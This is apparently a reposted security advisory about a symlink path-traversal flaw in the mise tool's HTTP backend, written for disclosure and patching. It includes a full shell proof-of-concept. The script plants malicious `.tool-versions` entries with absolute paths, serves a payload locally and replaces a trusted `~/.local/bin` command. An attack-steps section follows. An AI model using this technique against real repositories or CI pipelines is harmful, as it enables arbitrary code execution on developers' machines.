Listen to this Post
How the Vulnerability Works
The mise HTTP backend (src/backend/http.rs) is designed to install tools from arbitrary HTTP/HTTPS URLs by downloading an artifact and creating a symlink under the mise installs directory. For non‑latest versions, the symlink destination is built directly from the raw version string provided in the `.tool-versions` file, without any sanitisation.
In normal operation, tool version directories are sanitised using ToolVersion::tv_pathname(), which replaces `:` and `/` with `-` to prevent path traversal. However, the HTTP backend bypasses this sanitisation and uses the raw `tv.version` value verbatim. On Unix‑like systems, when this raw value is an absolute path (e.g., /outside-root/selected-prefix), `PathBuf::join` discards the intended mise installs root and creates the symlink at the absolute location chosen by the attacker.
A repository‑controlled `.tool-versions` file can therefore make `mise install` create a symlink outside the mise install tree. Additionally, when the `bin_path` option is configured, the same issue allows placing an executable symlink under an attacker‑selected absolute prefix—such as a developer‑tool prefix that is later added to PATH. This enables a workflow‑chain attack: a later step executes a pre‑existing trusted command from a user‑local `PATH` prefix, but the absolute‑version HTTP entry replaces that command with a symlink to downloaded (attacker‑controlled) content. A non‑absolute version does not trigger this replacement.
The vulnerability crosses a security boundary because `.tool-versions` is an asdf‑compatible project file parsed without the `mise.toml` trust gate used for features that can execute code or affect the environment. Even though a project can choose which tools to install, an install operation should keep HTTP backend materialisation under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation. The observed behaviour instead allows the project version string to choose an absolute install destination, effectively escaping the intended installation directory.
DailyCVE Form:
Platform: ……. mise
Version: …….. prior to fix (all versions before 2026‑05‑05)
Vulnerability :.. Symlink path traversal (absolute path injection)
Severity: ……. Medium (CVSS 5.3)
date: ………. 2026‑05‑05 (disclosure)
Prediction: ….. Patch expected by 2026‑05‑10
What Undercode Say: Analytics
The following commands and code snippets reproduce the vulnerability and demonstrate its impact.
Reproduction script (adapted from the original advisory):
!/bin/sh
set -eu
ROOT="$(mktemp -d)"
OUT="$ROOT/out"
DATA="$ROOT/data"
CACHE="$ROOT/cache"
STATE="$ROOT/state"
CONFIG="$ROOT/config"
WWW="$ROOT/www"
cleanup() {
if [ -n "${SERVER_PID:-}" ]; then
kill "$SERVER_PID" 2>/dev/null || true
fi
rm -rf "$ROOT"
}
trap cleanup EXIT
mkdir -p "$OUT" "$DATA" "$CACHE" "$STATE" "$CONFIG" "$WWW"
cat > "$WWW/payload" <<'PAYLOAD'
!/bin/sh
if [ -n "${CHAIN_MARKER:-}" ]; then
echo ATTACKER_CONTROLLED_TRUSTED_COMMAND > "$CHAIN_MARKER"
else
echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > "$MISE_HTTP_ABSOLUTE_VERSION_MARKER"
fi
PAYLOAD
chmod +x "$WWW/payload"
(
cd "$WWW"
python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1
) &
SERVER_PID=$!
sleep 1
1. Outside‑root symlink
PROJECT1="$ROOT/project-host-write"
mkdir -p "$PROJECT1"
cat > "$PROJECT1/.tool-versions" <<EOF1
http:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link
EOF1
(
cd "$PROJECT1"
MISE_DATA_DIR="$DATA" \
MISE_CACHE_DIR="$CACHE" \
MISE_STATE_DIR="$STATE" \
MISE_CONFIG_DIR="$CONFIG" \
MISE_YES=1 \
mise install --yes
)
if [ ! -L "$OUT/owned-link" ]; then
echo "FAIL: outside symlink was not created" >&2
exit 1
fi
2. Executable symlink under selected prefix
PROJECT2="$ROOT/project-bin-path"
mkdir -p "$PROJECT2"
cat > "$PROJECT2/.tool-versions" <<EOF2
http:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix
EOF2
rm -rf "$DATA" "$CACHE" "$STATE" "$CONFIG"
mkdir -p "$DATA" "$CACHE" "$STATE" "$CONFIG"
(
cd "$PROJECT2"
MISE_DATA_DIR="$DATA" \
MISE_CACHE_DIR="$CACHE" \
MISE_STATE_DIR="$STATE" \
MISE_CONFIG_DIR="$CONFIG" \
MISE_YES=1 \
mise install --yes
)
if [ ! -L "$OUT/selected-prefix/bin/ownedcmd" ]; then
echo "FAIL: executable symlink was not created under selected prefix" >&2
exit 1
fi
MARKER="$OUT/executed-marker"
MISE_HTTP_ABSOLUTE_VERSION_MARKER="$MARKER" \
PATH="$OUT/selected-prefix/bin:$PATH" \
ownedcmd
if ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED "$MARKER"; then
echo "FAIL: executable symlink did not run" >&2
exit 1
fi
echo "VULNERABLE_BEHAVIOR_CONFIRMED"
echo "outside symlink: $OUT/owned-link -> $(readlink "$OUT/owned-link")"
echo "path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink "$OUT/selected-prefix/bin/ownedcmd")"
3. Chain replacement of a trusted PATH command
run_path_chain_case() {
case_name="$1"
version="$2"
expected="$3"
CASE_ROOT="$ROOT/$case_name"
HOME_DIR="$CASE_ROOT/home"
CASE_DATA="$CASE_ROOT/data"
CASE_CACHE="$CASE_ROOT/cache"
CASE_STATE="$CASE_ROOT/state"
CASE_CONFIG="$CASE_ROOT/config"
CASE_PROJECT="$CASE_ROOT/project"
CASE_MARKER="$CASE_ROOT/marker"
if [ "$version" = "<strong>HOME_LOCAL_PREFIX</strong>" ]; then
version="$HOME_DIR/.local"
fi
mkdir -p "$HOME_DIR/.local/bin" "$CASE_DATA" "$CASE_CACHE" "$CASE_STATE" "$CASE_CONFIG" "$CASE_PROJECT"
cat > "$HOME_DIR/.local/bin/trustedcmd" <<'SAFE'
!/bin/sh
echo SAFE_PREEXISTING_TRUSTED_COMMAND > "$CHAIN_MARKER"
SAFE
chmod +x "$HOME_DIR/.local/bin/trustedcmd"
cat > "$CASE_PROJECT/.tool-versions" <<EOF3
http:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version
EOF3
(
cd "$CASE_PROJECT"
HOME="$HOME_DIR" \
MISE_DATA_DIR="$CASE_DATA" \
MISE_CACHE_DIR="$CASE_CACHE" \
MISE_STATE_DIR="$CASE_STATE" \
MISE_CONFIG_DIR="$CASE_CONFIG" \
MISE_YES=1 \
mise install --yes
)
CHAIN_MARKER="$CASE_MARKER" \
PATH="$HOME_DIR/.local/bin:$PATH" \
trustedcmd
observed="$(cat "$CASE_MARKER")"
if [ "$observed" != "$expected" ]; then
echo "FAIL: $case_name expected $expected but saw $observed" >&2
exit 1
fi
if [ "$case_name" = "path-chain-vulnerable" ] && [ ! -L "$HOME_DIR/.local/bin/trustedcmd" ]; then
echo "FAIL: path-chain case did not replace trustedcmd with a symlink" >&2
exit 1
fi
}
run_path_chain_case path-chain-vulnerable "<strong>HOME_LOCAL_PREFIX</strong>" ATTACKER_CONTROLLED_TRUSTED_COMMAND
run_path_chain_case path-chain-control "1.0.0" SAFE_PREEXISTING_TRUSTED_COMMAND
echo "PATH_CHAIN_CONFIRMED"
Expected output (vulnerable markers):
VULNERABLE_BEHAVIOR_CONFIRMED PATH_CHAIN_CONFIRMED
Exploit
An attacker with the ability to commit a `.tool-versions` file to a repository can:
1. Create a symlink anywhere on the filesystem by specifying an absolute path as the version string. This can overwrite or replace any file or directory where the user running `mise install` has write permissions.
2. Replace a trusted command in a `PATH` directory (e.g., ~/.local/bin) by setting `bin_path=bin` and using an absolute prefix that points to that directory. When the victim later executes the trusted command by name, the symlink runs the attacker‑controlled payload instead.
3. Chain the attack in CI/CD or developer workflows where a later step automatically runs a command from a user‑local `PATH` prefix, thereby executing the attacker’s code without further interaction.
The vulnerability does not require `mise install` to execute the binary automatically; the attacker relies on the victim’s subsequent use of the replaced command.
Protection
- Upgrade mise to a version that includes the fix (commit that introduces `tv.tv_pathname()` for HTTP backend symlink names). The patch is available in the `main` branch and will be included in the next release.
- Avoid using untrusted `.tool-versions` files from repositories you do not control. Treat any project‑level `.tool-versions` as potentially malicious, especially when using the HTTP backend.
- Restrict write permissions on directories that are in your `PATH` to prevent attackers from placing symlinks there.
- Consider using `mise trust` for `.mise.toml` files, but note that this vulnerability affects `.tool-versions` which is parsed without the trust gate.
Impact
- Outside‑root symlink creation from a repository‑controlled `.tool-versions` entry.
- Executable symlink materialisation under an attacker‑selected absolute prefix when `bin_path` is configured.
- Replacement of a pre‑existing trusted command in a `PATH` prefix, leading to arbitrary code execution when that command is later invoked by name.
- Bypass of the intended installation boundary – the HTTP backend documentation states that symlinks should be placed under the mise installs directory, but the vulnerability allows the project version string to choose an absolute destination.
- No automatic execution of the placed binary by `mise install` itself; the attack relies on subsequent user or script actions.
- No Windows drive‑letter path traversal is claimed; the demonstrated impact is on Unix‑like systems where absolute paths start with
/.
Reported by: JUNYI LIU
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

